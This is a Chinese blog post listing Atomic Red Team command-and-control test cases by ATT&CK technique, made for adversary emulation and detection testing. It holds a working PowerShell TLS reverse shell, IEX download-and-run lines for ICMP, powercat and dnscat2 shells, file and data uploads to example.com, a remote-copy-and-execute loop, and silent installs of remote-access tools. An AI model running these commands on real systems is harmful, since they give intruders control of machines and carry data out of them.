首页 > 其他分享 >Atomic-命令与控制战术

Atomic-命令与控制战术

时间:2023-06-08 15:35:34浏览次数:56  
标签:exe 战术 Windows 命令 Atomic https Test com

Atomic-命令与控制战术

具体战术概览

command-and-control
T1573
Encrypted Channel    加密通道

T1572
Protocol Tunneling   协议隧道

T1571
Non-Standard Port    非标准端口

T1219
Remote Access Software   远程访问软件

T1132.001
Data Encoding: Standard Encoding   数据编码:标准编码

T1105
Ingress Tool Transfer              入口工具传输

T1095
Non-Application Layer Protocol      非应用层协议

T1090.003
Proxy: Multi-hop Proxy              代理:多跳代理

T1090.001
Proxy: Internal Proxy               代理:内部代理

T1071.004
Application Layer Protocol: DNS     应用层协议:DNS

T1071.001
Application Layer Protocol: Web Protocols   应用层协议:Web协议

主机模型-加密通道

1. 使用 Openssl 建立 C2

C2 : Command and Control (C2)

$server_ip = 127.0.0.1
$server_port = 443
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}sc.exe create artservice binPath= "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt"

https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926
https://gist.githubusercontent.com/clr2of8/4786587885a7debc576ab44a32fa5cb7/raw/af5827f3169920035da73bc17bc5ec8465b41c59/c2_client_to_openssl_server.ps1


主机模型-协议隧道
1. 通过DNS over HTTPS 进行大量查询
for($i=0; $i -le 1000; $i++) { (Invoke-WebRequest \""https://8.8.8.8/resolve?name=atomicredteam.$(Get-Random -Minimum 1 -Maximum 999999).127.0.0.1.xip.io&type=TXT\"" -UseBasicParsing).Content 
2. 通过 DNS over HTTPS 进行常规信标

常规信标:该测试模拟受感染的主机通过 DoH 查询向命令和控制服务器定期发送信标。这种行为对于处于空闲状态等待指令或配置为随着时间的推移使用低查询量来逃避基于阈值的检测的植入物来说是典型的。

Set-Location C:\AtomicRedTeam\atomics .\T1572\src\T1572-doh-beacon.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30
3. 通过 DNS over HTTPS 进行长域名查询
Set-Location C:\AtomicRedTeam\atomics .\T1572\src\T1572-doh-domain-length.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT

主机模型-非标准端口
1. 使用 Powershell 测试非标准端口使用情况
Test-NetConnection -ComputerName google.com -port 8081 
2. 使用 telnet 测试非标准端口使用情况
echo quit | telnet google.com 8081
exit 0

主机模型-远程访问软件
1. 在 Windows 上检测 TeamViewer 软件
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
2. 在 Windows 上检测 Anydesk 软件
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
3. 在 Windows 上检测 LogMeIn 软件
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
4. 在 Windows 上安装 GoToAssist 软件
"PathToAtomicsFolder\T1559\bin\build\namedpipes_executor.exe" --pipe 4
5. 在 Windows 上安装 ScreenConnect 软件
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
msiexec /i $installer /qn
6. 在 Windows 上安装 Ammyy Admin 软件
Start-Process $env:temp\ammyy.exe
7. 在 Windows 上安装 RemotePC 软件
Start-Process $env:temp\RemotePC.exe
8. 在 Windows 上安装 NetSupport 远程访问木马(RAT)软件
Start-Process $env:temp\T1219_NetSupport.exe -ArgumentList "/S /v/qn"
9. 在 Windows 上安装 UltraViewer 软件
Start-Process -Wait -FilePath "$env:temp\T1219_UltraViewer.exe" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'
10. 在 Windows 上安装 UltraVNC 软件
Start-Process $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe'
11. 在 Windows 上安装 MSP360 软件
Start-Process $env:ProgramFiles\Connect\Connect.exe

主机模型-数据编码-标准编码
1. 使用 Base64 编码数据
echo -n 111-11-1111 | base64
curl -XPOST MTExLTExLTExMTE=.redcanary.com
2. 使用 XOR 编码数据
$plaintext = ([system.Text.Encoding]::UTF8.getBytes(\""Path\n----\nC:\Users\victim\"")) $key = \""abcdefghijklmnopqrstuvwxyz123456\"" $cyphertext = @(); for ($i = 0; $i -lt $plaintext.Count; $i++) { $cyphertext += $plaintext[$i] -bxor $key[$i %% $key.Length]; } $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext) [System.Net.ServicePointManager]::Expect100Continue = $false Invoke-WebRequest -Uri example.com -Method POST -Body $cyphertext -DisableKeepAlive

主机模型-入口工具传输

入口工具传输:可以理解为恶意攻击者想将一些带上传,下载,复制,移动,反弹功能的各种类似工具传入到目标受害的主机上,以达到进入目标主机的入口所使用的工具,我们成为入口工具传输。

具体测试用例看下面链接:
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1105/T1105.md

提取常用的入口工具特征

rsync scp sftp 

(certutil -urlcache) 

(certutil -verifyctl) 

(bitsadmin.exe /transfer)

(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")

cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}

timeout --preserve-status 1 whois -h localhost -p 443 "Hello from Atomic Red Team test T1105" > /tmp/T1105.whois.out

(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}

finger base64_filedata@#{remote_host}

$imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
& $imewdbled #{remote_url}

下载
curl -k url -o c:\users\public\music\allthethingsx64.dll
curl -k url --output c:\users\public\music\allthethingsx64.dll
curl -k url -o c:\programdata\allthethingsx64.dll
curl -k url -o %Temp%\allthethingsx64.dll

上传
curl -T c:\temp\atomictestfile.txt www.example.com
curl --upload-file c:\temp\atomictestfile.txt www.example.com
curl -d c:\temp\atomictestfile.txt www.example.com
curl --data c:\temp\atomictestfile.txt www.example.com

https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.bat

$machine_list = "$env:temp\T1105MachineList.txt"
$offline_list = "$env:temp\T1105OfflineHosts.txt"
$completed_list = "$env:temp\T1105CompletedHosts.txt"
foreach ($machine in get-content -path "$machine_list")
{if (test-connection -Count 1 -computername $machine -quiet) 
{cmd /c copy "#{binary_file}" "\\$machine\#{remote_drive_letter}$#{exe_remote_folder}"
echo $machine >> "$completed_list"
wmic /node: "$machine" process call create "regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}"}
else
{echo $machine >> "$offline_list"}}

replace.exe

certreq.exe -Post -config https://example.com c:\windows\win.ini %temp%\Atomic-license.txt

wscript.exe PathToAtomicsFolder\T1105\src\T1105-download-file.vbs

curl -sO https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/src/atomic.sh; chmod +x atomic.sh
 | bash atomic.sh

nimgrab.exe

powershell.exe iwr -URI https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt -Outfile %temp%\Atomic-license.txt


主机模型-非应用层协议
1. ICMP C2
IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress 127.0.0.1
2. Netcat C2
cmd /c $env:TEMP\T1095\nmap-7.80\ncat.exe 127.0.0.1 80
3. Powercat C2
IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c 127.0.0.1 -p 80
主机模型-代理-多跳代理
1. Psiphon
PathToAtomicsFolder\T1090.003\src\Psiphon.bat

特征:psiphon3.exe

https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1090.003/src/Psiphon.bat
2. Tor Proxy Usage - Windows
invoke-expression 'cmd /c start powershell -Command {cmd /c $env:temp\tor\Tor\tor.exe}'
sleep -s 60
stop-process -name "tor" | out-null

https://archive.torproject.org/tor-package-archive/torbrowser/11.0.6/tor-win32-0.4.6.9.zip
3. Tor Proxy Usage - Debian/Ubuntu
sudo systemctl start tor

sudo apt-get -y install tor
4. Tor Proxy Usage - MacOS
osascript -e 'tell application "Terminal" to do script "tor"'

if [ ! -x "$(command -v brew --version)" ]; then /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh keystroke return)"; fi
brew install tor

主机模型-代理-内部代理
1. Connection Proxy
export http_proxy=127.0.0.1:8080

unset http_proxy
unset https_proxy
2. Connection Proxy for macOS UI
networksetup -setwebproxy Wi-Fi 127.0.0.1 8080
networksetup -setsecurewebproxy Wi-Fi 127.0.0.1 8080

networksetup -setwebproxystate Wi-Fi off
networksetup -setsecurewebproxystate Wi-Fi off
3. portproxy reg key
netsh interface portproxy add v4tov4 listenport=1337 connectport=1337 connectaddress=127.0.0.1

netsh interface portproxy delete v4tov4 listenport=1337 -ErrorAction Ignore | Out-Null

主机模型-应用层协议-DNS
1. 大量的 DNS 查询
for($i=0; $i -le 1000; $i++) { Resolve-DnsName -type \""TXT\"" \""atomicredteam.$(Get-Random -Minimum 1 -Maximum 999999).127.0.0.1.xip.io\"" -QuickTimeout}
2. DNS 常规信标
Set-Location C:\AtomicRedTeam\atomics .\T1071.004\src\T1071-dns-beacon.ps1 -Domain 127.0.0.1.xip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30
3. DNS 长域名查询
Set-Location C:\AtomicRedTeam\atomics .\T1071.004\src\T1071-dns-domain-length.ps1 -Domain 127.0.0.1.xip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT
4. DNS C2
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
Start-Dnscat2 -Domain example.com -DNSServer 127.0.0.1

主机模型-应用层协议-Web 协议
1. 使用 Powershell 执行恶意的User-Agent
Invoke-WebRequest www.google.com -UserAgent "HttpBrowser/1.0" | out-null
Invoke-WebRequest www.google.com -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
Invoke-WebRequest www.google.com -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
Invoke-WebRequest www.google.com -UserAgent "*<|>*" | out-null
2. 使用 CMD 执行恶意的User-Agent
curl -s -A "HttpBrowser/1.0" -m3 www.google.com >nul 2>&1
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 www.google.com >nul 2>&1
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 www.google.com >nul 2>&1
curl -s -A "*<|>*" -m3 www.google.com >nul 2>&1
3. Linux 环境下执行恶意的User-Agent
curl -s -A "HttpBrowser/1.0" -m3 www.google.com
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 www.google.com
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 www.google.com
curl -s -A "*<|>*" -m3 www.google.com

标签:exe,战术,Windows,命令,Atomic,https,Test,com
From: https://www.cnblogs.com/autopwn/p/17466620.html

相关文章

  • grep命令详解
    如果你是一个新手,请从头阅读这篇文章,如果你只是忘记了grep命令的一些常用选项,直接查看文章尾部的总结部分即可。 先说说grep命令能做什么?我们可以使用grep命令在文本中查找指定的字符串,就像你在windows中打开txt文件,使用快捷键“Ctrl+F” 在文本中查找某个字符串一样,说白了,......
  • Linux最常用命令(最全)精美
    By CaesarChang张旭       ~关注我 带你看更多精品技术和面试必备想要进修一下基础的可以加群    号码 1153132260 1  touch文件名:创建文件可以一次创建多个文件,以空格隔开        touchab2rm:删除文件或者文件夹-r:递归删......
  • 2、客户端访问ZooKeeper--命令行客户端和图形化客户端访问
    客户端访问命令行客户端访问ZooKeeper安装zookeeper的bin里面,有命令行工具[root@ubuntu2004~]#ls/usr/local/zookeeper/bin/zkCli.sh/usr/local/zookeeper/bin/zkCli.sh里面存的脚本是由java运行起来的#可连接至zookeeper集群中的任意一台zookeeper节点进行以下操作,zkCli......
  • 【Linux】上传下载文件命令rz、sz
    安装要使用rz、sz命令传输文件需要给服务器安装lrzsz:yum-yinstalllrzsz上传上传文件只需在shell终端仿真器中输入命令“rz”,即可从弹出的对话框中选择本地磁盘上的文件,上传到服务器当前路径下。【选择需要上传文件,一次可以指定多个文件】下载下载文件只需在shell终端......
  • 使用 ADB 命令为 Windows Subsystem Android(WSA)配置代理
    注意!以下命令需在命令提示符中执行,不要使用PowerShell,会有字符错误!设置代理:adbconnect127.0.0.1:58526&&adbshell"settingsputglobalhttp_proxy`iproutelistmatch0tableallscopeglobal|cut-F3`:7890"中间一大段会自动识别宿主机ip注意修改7890端口......
  • windows查看java进程, 终止进程命令
    查看:tasklist| findstr "java"终止:taskkill/pid20388/f/f表示强制终止......
  • 一分钟学一个 Linux 命令 - mv 和 cp
    前言大家好,我是god23bin。欢迎来到《一分钟学一个Linux命令》系列,今天需要你花两分钟时间来学习下,因为今天要讲的是两个命令,mv和cp命令。mv什么是mv命令?mv是英文单词move的缩写,顾名思义,可以用来移动东西,那么移动什么呢?答案就是可以移动文件或目录,将其从一个位置移到......
  • Docker(三):Docker的常用命令
    一、官方命令文档https://docs.docker.com/reference/二、基础命令1.查看docker版本信息dockerversion2.查看docker详细信息dockerinfo3.docker帮助命令docker--help三、镜像命令1.查看本机镜像dockerimages此命令能够查看本机上所有的镜像信息REPSOITO......
  • AtomicInteger
    AtomicInteger是Java中的一个原子类,用于实现对整型变量的原子操作。它提供了一些方法,如get()、set()、getAndSet()、compareAndSet()等,可以实现原子性的读取、设置、获取并设置、比较并设置等操作。以下是一些关于AtomicInteger的链接:Java官方文档:https://docs.oracle.com/java......
  • Midjourney AI绘画中文教程详解(完整版)模型、命令、参数与各种高级用法
     我有一种预感,您一下子看不完这篇内容,您得【收藏】一下,以便下次接着看~~ MidjourneyAI绘画中文教程,Midjourney是一款2022年3月面世的AI绘画工具,创始人是DavidHolz。 只要输入想到的文字,就能通过人工智能产出相对应的图片,耗时只有大约一分钟,这个工具不仅能绘画,还能做海报,UI设......